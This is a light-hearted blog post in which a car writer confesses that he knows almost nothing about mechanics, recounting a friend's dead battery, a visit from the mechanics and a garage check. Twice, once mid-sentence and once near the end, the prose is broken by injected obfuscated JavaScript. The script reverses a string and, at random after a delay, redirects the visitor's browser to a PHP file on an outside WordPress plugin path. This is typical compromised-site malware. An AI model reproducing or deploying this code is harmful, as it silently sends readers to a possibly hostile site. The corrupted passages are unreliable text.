The Mechanical Idiot. A confession

The day I have been dreading for nearly three years finally came around this weekend when a friend of mine called early one afternoon to say that her car wouldn’t start and would I mind taking a look at it.

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Now those of you who have read my work on will know that my mechanical knowledge of cars ‘needs some improvement’ at best and is a shambolic nightmare at worst: engine size, horsepower and torque figures, petrol in one end and water the other are just about my lot, my brain not fully capable of understanding the mechanical witchcraft in-between. Which when you write for a car website, is a little embarrassing to admit, and no manner of handy-man projects can lessen the indignity. Hand me an Ikea flatpack with a diagram and instructions or a lightbulb that needs changing and I’m in my element. Projects including spark plugs, cylinders and engine blocks meanwhile tend to leave me in the foetal position, weeping.

Regrettably my friend rarely reads any of my articles on crankandpiston, she noting only that ‘the $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}”>Davison guy is quite funny’. I was left then with two options: call round, inspect the engine, and pray that I could blag my way through the exercise; or stiffen the upper lip, admit I would be of no help, and take my medicine like a man.

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Having popped the bonnet, it soon became clear that I was indeed way over my head. That the engine wasn’t turning over I quickly established, several turns of the key eliciting nary a sign of life from the engine (I should probably point out at this juncture that the images above and below do NOT show the engine in question). That the issue was probably battery related was a conclusion I also jumped to, courtesy of some frenzied high-pitched squeaks from the starter motor akin to electricity bouncing off a metal surface. And this, dear reader, is where my help ended, despite my friend’s assurances that ‘this doesn’t look right’ and ‘I’m sure that shouldn’t be there’, all aimed in my direction with a enquiring look. With a shrug of the shoulders, I admitted that yes, that really shouldn’t be there, this ought to be looked at, and that I didn’t like the look of those. And whilst I was more than willing to help, regrettably I didn’t have the necessary tools available, and that perhaps she should get a bloke in. A good idea, she agreed. ‘Phew!’, breathed I.

Now many of you, like my more mechanically savvy crankandpiston cohorts, will no doubt be grinning and aiming barbed comments at the British pillock who – inexplicably – got himself a job on a car website without the necessary know-how. Perhaps, but there is slightly more to the story.

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Mechanics were called for, delivered and cracked on with the task of firing the dead unit into life, all under my ‘supervision’. With a new battery fitted, my wallet now empty and my sense of manly dignity hanging by a thread, I felt the new battery should be given a run just to make sure everything was compos mentis. A few minutes into the drive, I noticed that something wasn’t quite right with the steering, which continued to pull at intermittent bursts both left then right: “Hmmm, wheel alignment might need to be checked”. Then there were the brakes, which felt sluggish and slow to respond, concerning given the 100K now on the clock: “those need to be replaced, this is ridiculous”. Lastly, the oil temperature seemed a little high given that our journey had barely clicked over ten minutes, eliciting a quick stop at the garage for a check-up, an oil change and a flush out of the system. That I could offer nothing to the procedure didn’t seem to concern the gentleman holding the oil can, he assuring me that my knowledge of an ATM and the basic design of my signature would be quite enough.

No, dear reader, I doubt I shall ever have the patience to fully understand the workings of the internal combustion engine, how brake pads should be properly replaced, or why 1000bhp from an engine designed only to handle 550bhp is somehow better. Moreover, I can’t imagine that my ham-fisted attempts at anything mechanical could in any way be deemed road legal, nor would the resultant bloodied knuckles and contusions about the forearms truly be worth the effort. That I will enjoy the act of driving when those far more brilliant than I have got the thing going again is beyond question. And that’s enough for me.

I’ll stick with the Ikea flatpack furniture from now on.

$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}”>MORE IMAGES available HERE

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